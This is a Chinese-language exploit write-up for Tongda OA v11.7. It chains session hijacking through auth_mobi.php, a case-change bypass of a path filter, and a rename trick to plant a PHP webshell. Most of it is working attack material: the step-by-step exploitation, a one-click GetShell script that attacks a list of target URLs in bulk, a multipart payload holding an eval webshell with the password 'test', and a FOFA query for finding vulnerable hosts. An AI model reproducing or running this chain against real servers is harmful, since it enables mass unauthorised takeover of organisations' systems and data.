通达OA v11.7 在线用户登录漏洞复现

一个类似于越权的漏洞，但是利用的方式确实比较特殊

访问漏洞页面获取phpsession

http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

可以看到我们已经获取到了phpsession，这个时候我们就可以访问他的后台页面了，但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线，所以需要等他在线。

访问后台页面：

http://x.x.x.x/general/

查看本地的绝对路径

新建一个附件目录

这里需要注意：我们要添加一个路径为系统目录后面跟上webroot，但是webroot会被过滤，但是他没有检查大小写，所以我们改为Webroot就可以轻松绕过。

添加图片目录

这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员，这样子才可以，路径的话呢还是webroot那个路径。

上传木马

然后我们添加一个文件，也就是我们的shell

这里需要注意的是，我们需要将我们的木马改为jpg后缀的，要不路径无法查看。

查看木马路径

这个时候记住这个文件名称，这个路径是固定的就是file_folder/2013下面就是我们的木马。

修改木马后缀

回到我们之前的上传页面，然后点击编辑。

鼠标放到我们木马上面，然后点击重命名。

我们会打开一个新的tab页面，我们使用火狐进行抓包：

先随便改个名字，点击保存，然后会拦截到一个post封包。

数据包格式大概是这个样子：

NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg

我们需要将ATTACHMENT_NAME_POSTFIX属性修改为php（注意要加一个点）来完成这个步骤

然后重放这个数据包，就可以看到修改成功。

拼接木马路径

可以看到我们修改成功。

然后找到之前的文件名，然后将我们上传的原始的文件名(2.jpg)改为(166.php)，这个是根据你上传的路径以及改的名称来定的，然后路径的话呢还是file_folder/2013，我们就可以访问到我们的马子了。

一键GetShell脚本

脚本代码:

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0#define yinhao = "#define Rootre = <td nowrap class="TableData">(.*?)</td>#define contentidre = "TableLine1" index="(.*?)" >#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"#define shellpathre = alt="(.*?)" node-image-tipsfunction GetCookie(url){	res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");	if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){		return "";	}	PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");	return PHPSESSID;}function JudgeOK(url,Cookie){	res = HttpGet(url."/general/",Cookie);	if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){		return "0";	}else{		return "1";	}}function GetRoot(content){	list = StrRe(content,Rootre);	num = GetArrayNum(list);	num = num/2;	i = 0;	while(i<num){		if(StrFindStr(list[ToInt(i*2+1)],":/",0) != "-1"){			return list[ToInt(i*2+1)];		}		i = i+1;	}	return "";}function GetWebRoot(url,Cookie){	res = HttpGet(url."/general/system/reg_view/",Cookie);	return GetRoot(res[0]);}function AddPath(url,Root,Cookie){	return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."/WebRoot")."&IS_ACTIVE=on",Cookie);}function AddImgPath(url,Root,Cookie){	return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&ampCOPY_TO_ID=admin%2C&ampCOPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."/webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);}function PushImg(url,Content,Cookie){	return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");}function GetPICID(url,Cookie){	res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);	return GettextMiddle(res[0],"&PIC_ID=",yinhao);}function GetImg(url,Root,Cookie){	res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"//","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie);	list = StrRe(res[0],shellpathre);	num = GetArrayNum(list);	num = num/2;	i = 0;	while(i<num){		if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){			return list[ToInt(i*2+1)];		}		i = i+1;	}	return "";}function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){	return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);}function GetCONTENTID(url,Cookie){	res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);	list = StrRe(res[0],contentidre);	if(GetArrayNum(list) >= 2){		return list[1];	}	return "";}function GetATTACHMENTID(url,CONTENTID,Cookie){	res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");	list = StrRe(res[0],attachmentidre);	if(GetArrayNum(list) >= 2){		return list[1];	}	return "";}function GetShell(url){	PHPSESSID = GetCookie(url);	if(PHPSESSID == ""){		return "";	}	Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";	if(JudgeOK(url,Cookie)=="1"){		WebRoot = GetWebRoot(url,Cookie);		AddPath(url,WebRoot,Cookie);		AddImgPath(url,WebRoot,Cookie);		ShellPost = ReadFile("script/综合漏洞/OAShell.txt");		PushImg(url,ShellPost,Cookie);		path = GetImg(url,WebRoot,Cookie);		CONTENTID = GetCONTENTID(url,Cookie);		ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);		ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);		realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");		print("Shell路径:",realshellpath,"密码:test");	}else{		return "";	}}function main(args){	print("请输入要要检测的列表文件:");		list = StrSplit(ReadFile(input()),StrRN());	i = 0;	num = GetArrayNum(list);	while(i < num){		url=list[ToInt(i)];		print("当前检测的连接:".url);		GetShell(url);		i=i+1;	}	print("检测完毕");}

OAShell.txt：

-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="SUBJECT"166.jpg-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="CONTENT_NO"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="KEYWORD"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="NEW_NAME"н¨Îĵµ-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="NEW_TYPE"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""Content-Type: application/octet-stream-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACH_NAME"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACH_DIR"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="DISK_ID"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""Content-Type: application/octet-stream-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_DESC"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="CONTENT_ID"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="OP"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="PD"1-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="SORT_ID"0-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="FILE_SORT"2-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="USE_CAPACITY"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="USE_CAPACITY_SIZE"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="SHARE_USER"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"Content-Type: image/jpeg<?php @eval($_POST['test']); ?>-----------------------------33072116513621237124579432636--

放一张例子截图：

附一个fofa语句：

app="TDXK-通达OA"